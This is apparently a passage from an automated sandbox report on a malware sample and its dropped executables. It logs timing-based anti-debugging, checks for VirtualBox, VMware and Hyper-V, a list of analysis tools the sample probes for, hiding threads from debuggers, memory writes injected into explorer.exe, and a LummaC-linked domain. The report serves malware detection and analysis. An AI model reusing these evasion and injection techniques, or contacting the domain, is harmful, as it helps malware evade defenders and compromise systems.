                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 33AF25 second address: 33AF2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 33AF2B second address: 33AF7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 add dword ptr [esp], 3848A7B8h 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F5E8080F358h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 movzx ecx, cx 0x00000029 lea ebx, dword ptr [ebp+1244FB97h] 0x0000002f mov dword ptr [ebp+122D2B84h], ecx 0x00000035 mov ch, F2h 0x00000037 xchg eax, ebx 0x00000038 push ecx 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F5E8080F35Bh 0x00000040 rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 33B097 second address: 33B0A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 33B0A7 second address: 33B0AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 33B0AC second address: 33B0CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jp 00007F5E810FCBB4h 0x00000013 push eax 0x00000014 push edx 0x00000015 jo 00007F5E810FCBA6h 0x0000001b rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 33B0CF second address: 33B0FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 push ecx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop ecx 0x0000000d jnc 00007F5E8080F35Ch 0x00000013 js 00007F5E8080F356h 0x00000019 popad 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 jmp 00007F5E8080F35Ah 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
                              Tries to evade debugger and weak emulator (self modifying code)
                              Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: B5ECB9 instructions caused by: Self-modifying code
                              Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: B5EDB6 instructions caused by: Self-modifying code
                              Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: D845FD instructions caused by: Self-modifying code
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSpecial instruction interceptor: First address: 1BECB9 instructions caused by: Self-modifying code
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSpecial instruction interceptor: First address: 1BEDB6 instructions caused by: Self-modifying code
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSpecial instruction interceptor: First address: 3E45FD instructions caused by: Self-modifying code
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSpecial instruction interceptor: First address: 427CAA instructions caused by: Self-modifying code
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSpecial instruction interceptor: First address: 427DAD instructions caused by: Self-modifying code
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSpecial instruction interceptor: First address: 5BD7FD instructions caused by: Self-modifying code
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSpecial instruction interceptor: First address: 652DF2 instructions caused by: Self-modifying code
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSpecial instruction interceptor: First address: 12AC404 instructions caused by: Self-modifying code
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSpecial instruction interceptor: First address: 110B887 instructions caused by: Self-modifying code
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSpecial instruction interceptor: First address: 12B174C instructions caused by: Self-modifying code
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeMemory allocated: 2160000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeMemory allocated: 2320000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeMemory allocated: 2160000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeRegistry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_054E07AB rdtsc 0_2_054E07AB
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeThread delayed: delay time: 180000
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeThread delayed: delay time: 922337203685477
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow / User API: threadDelayed 1162Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow / User API: threadDelayed 1095Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow / User API: threadDelayed 1159Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow / User API: threadDelayed 1133Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5430
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3162
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3957
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3280
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1293
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dllJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeAPI coverage: 5.2 %
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3220Thread sleep time: -48024s >= -30000sJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3912Thread sleep count: 1162 > 30Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3912Thread sleep time: -2325162s >= -30000sJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7320Thread sleep count: 272 > 30Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7320Thread sleep time: -8160000s >= -30000sJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6100Thread sleep count: 1095 > 30Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6100Thread sleep time: -2191095s >= -30000sJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2912Thread sleep count: 1159 > 30Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2912Thread sleep time: -2319159s >= -30000sJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3020Thread sleep count: 1133 > 30Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3020Thread sleep time: -2267133s >= -30000sJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5828Thread sleep time: -3689348814741908s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7952Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe TID: 6072Thread sleep time: -240000s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3524Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2472Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe TID: 5752Thread sleep count: 247 > 30
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe TID: 5752Thread sleep time: -7410000s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe TID: 1820Thread sleep time: -180000s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe TID: 5752Thread sleep time: -30000s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exe TID: 7140Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\PING.EXELast function: Thread delayed
                              Source: C:\Windows\System32\PING.EXELast function: Thread delayed
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeLast function: Thread delayed
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeLast function: Thread delayed
                              Source: C:\Program Files\Windows Media Player\graph\graph.exeLast function: Thread delayed
                              Source: C:\Program Files\Windows Media Player\graph\graph.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\PING.EXELast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Users\user\Desktop\file.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeFile Volume queried: C:\ FullSizeInformation
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeFile Volume queried: C:\ FullSizeInformation
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_0040367D GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,6_2_0040367D
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_004031DC FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,6_2_004031DC
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00C87978 FindFirstFileW,FindFirstFileW,free,10_2_00C87978
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00C8881C free,free,GetLogicalDriveStringsW,GetLogicalDriveStringsW,free,free,free,10_2_00C8881C
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00C8B5E0 GetSystemInfo,10_2_00C8B5E0
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeThread delayed: delay time: 30000Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeThread delayed: delay time: 30000
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeThread delayed: delay time: 180000
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeThread delayed: delay time: 30000
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\Jump to behavior
                              Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Local\Jump to behavior
                              Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\main\Jump to behavior
                              Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Jump to behavior
                              Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\Jump to behavior
                              Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\main\extractedJump to behavior
                              Source: skotes.exe, skotes.exe, 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000005.00000000.2263763833.0000000000342000.00000080.00000001.01000000.00000007.sdmp, b2885fa695.exe, 00000020.00000002.2760571894.000000000059E000.00000040.00000001.01000000.0000000E.sdmp, b7c03317c9.exe, 0000002A.00000002.2939183948.0000000001288000.00000040.00000001.01000000.00000014.sdmp, file.exeBinary or memory string: HARDWARE\ACPI\DSDT\VBOX__
                              Source: PING.EXE, 00000032.00000002.2933675401.00000248C0388000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllZZ,sP
                              Source: b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpBinary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
                              Source: 72f44ceb0a.exe, 00000024.00000003.2591584550.0000000001611000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
                              Source: file.exeBinary or memory string: .vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
                              Source: 4115805b10.exe, 00000027.00000002.2796654960.000002681092B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWp
                              Source: 4cdf81e042.exe, 0000002C.00000002.2937965345.000000000149D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWt
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D47000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.2942570852.0000000000D79000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001F.00000002.2529597968.0000000001319000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2559195373.0000000000D2C000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2759950146.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000002.2764183695.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000002.2764183695.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, Gxtuum.exe, 00000026.00000002.2935835447.00000000015B3000.00000004.00000020.00020000.00000000.sdmp, Gxtuum.exe, 00000026.00000002.2935835447.00000000015E7000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000002.2796654960.00000268109C0000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2753594593.00000268109C1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                              Source: explorer.exe, 0000001F.00000002.2529597968.0000000001319000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWf
                              Source: 72f44ceb0a.exe, 00000024.00000003.2594544795.00000000015A9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
                              Source: b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpBinary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\*recent_filesprocessesuptime_minutesC:\Windows\System32\VBox*.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
                              Source: file.exe, 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1754388426.0000000000342000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmp, b2885fa695.exe, 00000020.00000002.2760571894.000000000059E000.00000040.00000001.01000000.0000000E.sdmp, b7c03317c9.exe, 0000002A.00000002.2939183948.0000000001288000.00000040.00000001.01000000.00000014.sdmpBinary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
                              Source: explorer.exe, 0000002F.00000002.2881532847.00000000006F9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWA
                              Source: PING.EXE, 0000001D.00000002.2544952125.000001FB3D2AD000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 00000023.00000002.2564088029.000001B778368000.00000004.00000020.00020000.00000000.sdmp, b7c03317c9.exe, 0000002A.00000002.2943794217.0000000001EC7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                              Source: 4cdf81e042.exe, 0000002C.00000002.2937965345.0000000001476000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWH,K
                              Source: C:\Users\user\Desktop\file.exeSystem information queried: ModuleInformationJump to behavior
                              Source: C:\Users\user\Desktop\file.exeProcess information queried: ProcessInformationJump to behavior

                              Anti Debugging

                              barindex
                              Hides threads from debuggers
                              Source: C:\Users\user\Desktop\file.exeThread information set: HideFromDebuggerJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeThread information set: HideFromDebuggerJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeThread information set: HideFromDebuggerJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeThread information set: HideFromDebugger
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeThread information set: HideFromDebugger
                              Potentially malicious time measurement code found
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_04CB003E Start: 04CB046B End: 04CB006B5_2_04CB003E
                              Tries to detect sandboxes and other dynamic analysis tools (window names)
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeOpen window title or class name: regmonclass
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeOpen window title or class name: gbdyllo
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeOpen window title or class name: process monitor - sysinternals: www.sysinternals.com
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeOpen window title or class name: procmon_window_class
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeOpen window title or class name: registry monitor - sysinternals: www.sysinternals.com
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeOpen window title or class name: ollydbg
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeOpen window title or class name: filemonclass
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeOpen window title or class name: file monitor - sysinternals: www.sysinternals.com
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeFile opened: NTICE
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeFile opened: SICE
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeFile opened: SIWVID
                              Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                              Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                              Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess queried: DebugPortJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess queried: DebugPortJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess queried: DebugPortJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess queried: DebugPortJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess queried: DebugPortJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess queried: DebugPortJump to behavior
                              Source: C:\Windows\explorer.exeProcess queried: DebugPort
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeProcess queried: DebugPort
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeProcess queried: DebugPort
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeProcess queried: DebugPort
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeProcess queried: DebugPort
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeProcess queried: DebugPort
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeProcess queried: DebugPort
                              Source: C:\Windows\explorer.exeProcess queried: DebugPort
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_054E07AB rdtsc 0_2_054E07AB
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_00402665 LoadLibraryA,GetProcAddress,GetNativeSystemInfo,6_2_00402665
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00B2652B mov eax, dword ptr fs:[00000030h]0_2_00B2652B
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00B2A302 mov eax, dword ptr fs:[00000030h]0_2_00B2A302
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 1_2_0018A302 mov eax, dword ptr fs:[00000030h]1_2_0018A302
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 1_2_0018652B mov eax, dword ptr fs:[00000030h]1_2_0018652B
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_0018A302 mov eax, dword ptr fs:[00000030h]5_2_0018A302
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_0018652B mov eax, dword ptr fs:[00000030h]5_2_0018652B
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeProcess token adjusted: Debug
                              Source: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exeMemory allocated: page read and write | page guard

                              HIPS / PFW / Operating System Protection Evasion

                              barindex
                              Injects code into the Windows Explorer (explorer.exe)
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 8060 base: 140000000 value: 4D
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 8060 base: 140001000 value: 40
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 8060 base: 1402DD000 value: 58
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 8060 base: 14040B000 value: A4
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 8060 base: 140739000 value: 00
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 8060 base: 14075E000 value: 48
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 8060 base: 14075F000 value: 48
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 8060 base: 140762000 value: 48
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 8060 base: 140764000 value: 00
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 8060 base: 140765000 value: 00
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 8060 base: 105A010 value: 00
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6284 base: 140000000 value: 4D
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6284 base: 140001000 value: 40
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6284 base: 1402DD000 value: 58
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6284 base: 14040B000 value: A4
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6284 base: 140739000 value: 00
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6284 base: 14075E000 value: 48
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6284 base: 14075F000 value: 48
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6284 base: 140762000 value: 48
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6284 base: 140764000 value: 00
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6284 base: 140765000 value: 00
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6284 base: 535010 value: 00
                              LummaC encrypted strings found
                              Source: b2885fa695.exe, 00000020.00000002.2760423898.00000000003D1000.00000040.00000001.01000000.0000000E.sdmpString found in binary or memory: rapeflowwj.lat
